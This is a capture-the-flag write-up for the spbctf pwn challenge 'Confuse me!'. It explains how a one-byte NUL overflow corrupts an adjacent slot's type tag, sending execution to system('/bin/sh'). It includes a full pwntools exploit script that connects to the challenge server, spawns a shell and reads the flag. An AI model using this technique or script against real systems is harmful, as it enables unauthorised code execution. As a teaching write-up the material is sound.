Confuse me!
Confuse me!
Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-07-02 | Status: Solved Techniques: adjacent_slot_type_tag_corruption, menu_io_resync, one_byte_null_overflow, type_confusion_to_system
Summary
Task: menu-driven x86-64 action manager (create/remove/execute) over a global 32x256-byte slot array where byte[0] is a type tag; a string action's read loop writes exactly 256 bytes, so the 256th byte overflows the adjacent slot's type byte. Solution: place NUL on the next slot's type tag to flip it to the hidden type 0, whose execute path calls system(slot+1) — set the neighbor to "/bin/sh" first and get a shell.
Confuse me! — spbctf
Description
Confuse me!
nc 109.233.56.90 11720binary: confuse_me.elf
A menu-driven "action manager" pwn challenge. The binary is x86-64, dynamically
linked, NX enabled, stack canary, partial RELRO, not stripped. The download URL
path contained uaf, but the actual bug is a 1-byte type-confusion overflow
into an adjacent object's type tag, not a classic use-after-free. Goal: get a
shell and read /flag.txt.
Analysis
Data structure
A global array actions at 0x4040c0: 32 slots, each 0x100 (256) bytes.
Byte [0] of every slot is a type tag:
0xff= empty1= string action2= number action0= (unintended)execute_actioncallssystem(slot+1)
Menu
1= create action — finds first free slot (type0xff), reads a type viascanf("%d")(1 or 2), then fills the slot.2= remove action — inline: setsactions[idx][0] = 0xff(marks free).3= execute action — reads an index (unsignedcmp 0x1f; jabounds check), then dispatches on the type tag.
create_action, type 1 (string)
A byte-by-byte read loop stores into slot[i]+1. The loop bounds are:
r12 = slot[i] + 1
r13 = r12 + 0x100 ; stop pointer
read until '\n' or EOF, or until r12 == r13
So it writes offsets 1..256 — a full 0x100 bytes. The 256th byte lands on
slot[i+1][0], overwriting the next slot's type byte. NUL bytes are allowed
inside the string (the loop stops only on '\n' or EOF), so a chosen '\x00'
can be planted exactly on the neighbor's type tag. When the buffer is completely
filled (256 bytes, no newline), no NUL terminator is appended by the program.
execute_action
- type
1→strlen(slot+1), printslen = %d - type
2→ printshex = %xof*(int*)(slot+1) - type
0→system(slot+1)← WIN - else →
Can't do that...
The vulnerability
Nothing legitimately sets a slot type to 0. But the 256th byte written by a
string action corrupts the adjacent slot's type byte. Writing 0 there flips
that neighbor into the hidden type 0 dispatch, i.e. system(slot+1). If that
neighbor's payload region already holds "/bin/sh", executing it spawns a shell.
Solution
- Create slot0 — a short dummy string.
- Create slot1 =
"/bin/sh"soactions[1]+1 == "/bin/sh". - Remove slot0 (frees it, making it the first free slot again).
- Re-create slot0 with a 256-byte string
b"B"*255 + b"\x00"(no trailing newline) so the 256th byte (NUL) overwritesactions[1][0] = 0. - Execute index 1 →
execute_actionsees type 0 →system("/bin/sh")→ shell. cat /flag.txt.
I/O protocol gotchas
setvbufmakes stdout unbuffered.- After each action the menu reprints; prompt lines have a leading space that
desyncs naive
sendlineaftermatching. Reliable approach:recvuntil(b'execute action')thensendline. - The string read consumes the leftover newline from the
scanf("%d")type selection automatically, sosend(payload)works cleanly. - The flag file is
/flag.txton the remote (root-owned, world-readable).
Exploit
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * io = remote("109.233.56.90", 11720) def menu(c): io.recvuntil(b'execute action') io.sendline(str(c).encode()) def create_str(s): menu(1) io.recvuntil(b'convert number to hex') io.sendline(b'1') # type 1 = string io.recvuntil(b'Enter your string:') io.send(s) def remove(i): menu(2) io.recvuntil(b'Enter index:') io.sendline(str(i).encode()) def execute(i): menu(3) io.recvuntil(b'Enter index:') io.sendline(str(i).encode()) # ---- Type-confusion via 1-byte overflow of adjacent slot's type tag ---- create_str(b'AAAA\n') # slot0 dummy create_str(b'/bin/sh\n') # slot1 -> actions[1]+1 = "/bin/sh" remove(0) # free slot0 create_str(b'B'*255 + b'\x00') # exactly 256 bytes; NUL overwrites actions[1][0]=0 execute(1) # type 0 -> system("/bin/sh") io.sendline(b'cat /flag.txt') io.interactive()